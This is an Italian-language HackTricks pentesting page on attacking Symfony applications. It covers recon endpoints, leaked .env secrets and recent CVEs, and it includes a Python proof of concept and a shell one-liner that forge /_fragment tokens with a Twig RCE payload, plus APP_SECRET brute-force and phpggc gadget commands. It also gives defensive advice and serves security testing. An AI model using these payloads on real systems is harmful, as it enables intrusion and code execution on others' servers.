Symfony
Reading time: 6 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Symfony è uno dei framework PHP più utilizzati e appare regolarmente nelle valutazioni di obiettivi aziendali, e-commerce e CMS (Drupal, Shopware, Ibexa, OroCRM … tutti integrano componenti Symfony). Questa pagina raccoglie suggerimenti offensivi, configurazioni errate comuni e vulnerabilità recenti che dovresti avere nella tua lista di controllo quando scopri un'applicazione Symfony.
Nota storica: Una grande parte dell'ecosistema utilizza ancora il ramo 5.4 LTS (EOL Novembre 2025). Verifica sempre la versione minore esatta perché molti avvisi di sicurezza 2023-2025 sono stati corretti solo in rilasci di patch (ad es. 5.4.46 → 5.4.50).
Recon & Enumeration
Finger-printing
- Intestazioni di risposta HTTP:
X-Powered-By: Symfony
,X-Debug-Token
,X-Debug-Token-Link
o cookie che iniziano consf_redirect
,sf_session
,MOCKSESSID
. - Leaks di codice sorgente (
composer.json
,composer.lock
,/vendor/…
) rivelano spesso la versione esatta:
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
- Rotte pubbliche che esistono solo su Symfony:
/_profiler
(Symfony Profiler & debug toolbar)/_wdt/<token>
(“Web Debug Toolbar”)/_error/{code}.{_format}
(pagine di errore carine)/app_dev.php
,/config.php
,/config_dev.php
(front-controller di sviluppo pre-4.0)- Wappalyzer, BuiltWith o wordlist di ffuf/feroxbuster:
symfony.txt
→ cerca/_fragment
,/_profiler
,.env
,.htaccess
.
File ed endpoint interessanti
Path | Why it matters |
---|---|
/.env , /.env.local , /.env.prod | Spesso mal distribuiti → leak APP_SECRET , credenziali DB, SMTP, chiavi AWS |
/.git , .svn , .hg | Divulgazione del sorgente → credenziali + logica aziendale |
/var/log/*.log , /log/dev.log | Misconfigurazione della web-root espone stack-traces |
/_profiler | Storia completa delle richieste, configurazione, contenitore dei servizi, APP_SECRET (≤ 3.4) |
/_fragment | Punto di ingresso utilizzato da ESI/HInclude. Abuso possibile una volta che conosci APP_SECRET |
/vendor/phpunit/phpunit/phpunit | PHPUnit RCE se accessibile (CVE-2017-9841) |
/index.php/_error/{code} | Finger-print & a volte leak delle tracce delle eccezioni |
Vulnerabilità ad alto impatto (2023-2025)
1. Divulgazione di APP_SECRET ➜ RCE tramite /_fragment
(noto anche come “secret-fragment”)
- CVE-2019-18889 originariamente, ma ancora appare su obiettivi moderni quando il debug è lasciato abilitato o
.env
è esposto. - Una volta che conosci il
APP_SECRET
di 32 caratteri, crea un token HMAC e sfrutta il controller internorender()
per eseguire Twig arbitrario:
# PoC – richiede il segreto
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}" # RCE in Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
- Ottimo articolo e script di sfruttamento: blog di Ambionics (collegato nelle Riferimenti).
2. Windows Process Hijack – CVE-2024-51736
- Il componente
Process
cercava la directory di lavoro corrente prima diPATH
su Windows. Un attaccante in grado di caricaretar.exe
,cmd.exe
, ecc. in una web-root scrivibile e attivareProcess
(ad es. estrazione di file, generazione di PDF) ottiene l'esecuzione di comandi. - Corretto in 5.4.50, 6.4.14, 7.1.7.
3. Session-Fixation – CVE-2023-46733
- L'autenticazione guard riutilizzava un ID sessione esistente dopo il login. Se un attaccante imposta il cookie prima che la vittima si autentichi, hijacka l'account dopo il login.
4. Twig sandbox XSS – CVE-2023-46734
- In applicazioni che espongono template controllati dall'utente (admin CMS, costruttore di email) il filtro
nl2br
potrebbe essere abusato per bypassare la sandbox e iniettare JS.
5. Catene di gadget Symfony 1 (ancora trovate in app legacy)
phpggc symfony/1 system id
produce un payload Phar che attiva RCE quando si verifica un unserialize() su classi comesfNamespacedParameterHolder
. Controlla gli endpoint di upload di file e i wrapperphar://
.
PHP - Deserialization + Autoload Classes
Exploitation Cheat-Sheet
Calcola il token HMAC per /_fragment
python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"
Bruteforce debole APP_SECRET
cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target
RCE tramite Symfony Console esposto
Se bin/console
è accessibile tramite php-fpm
o caricamento diretto da CLI:
php bin/console about # confirm it works
php bin/console cache:clear --no-warmup
Usa gadget di deserializzazione all'interno della directory cache o scrivi un template Twig malevolo che verrà eseguito alla prossima richiesta.
Note difensive
- Non distribuire mai il debug (
APP_ENV=dev
,APP_DEBUG=1
) in produzione; blocca/app_dev.php
,/_profiler
,/_wdt
nella configurazione del server web. - Memorizza i segreti in variabili d'ambiente o in
vault/secrets.local.php
, mai in file accessibili attraverso la root del documento. - Applica la gestione delle patch – iscriviti agli avvisi di sicurezza di Symfony e mantieni almeno il livello di patch LTS.
- Se esegui su Windows, aggiorna immediatamente per mitigare CVE-2024-51736 o aggiungi una difesa in profondità
open_basedir
/disable_functions
.
Strumenti offensivi utili
- ambionics/symfony-exploits – RCE con frammento segreto, scoperta di percorsi del debugger.
- phpggc – Catene di gadget pronte all'uso per Symfony 1 e 2.
- sf-encoder – piccolo aiuto per calcolare l'HMAC di
_fragment
(implementazione Go).
Riferimenti
- Ambionics – Symfony “secret-fragment” Remote Code Execution
- Symfony Security Advisory – CVE-2024-51736: Command Execution Hijack on Windows Process Component
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.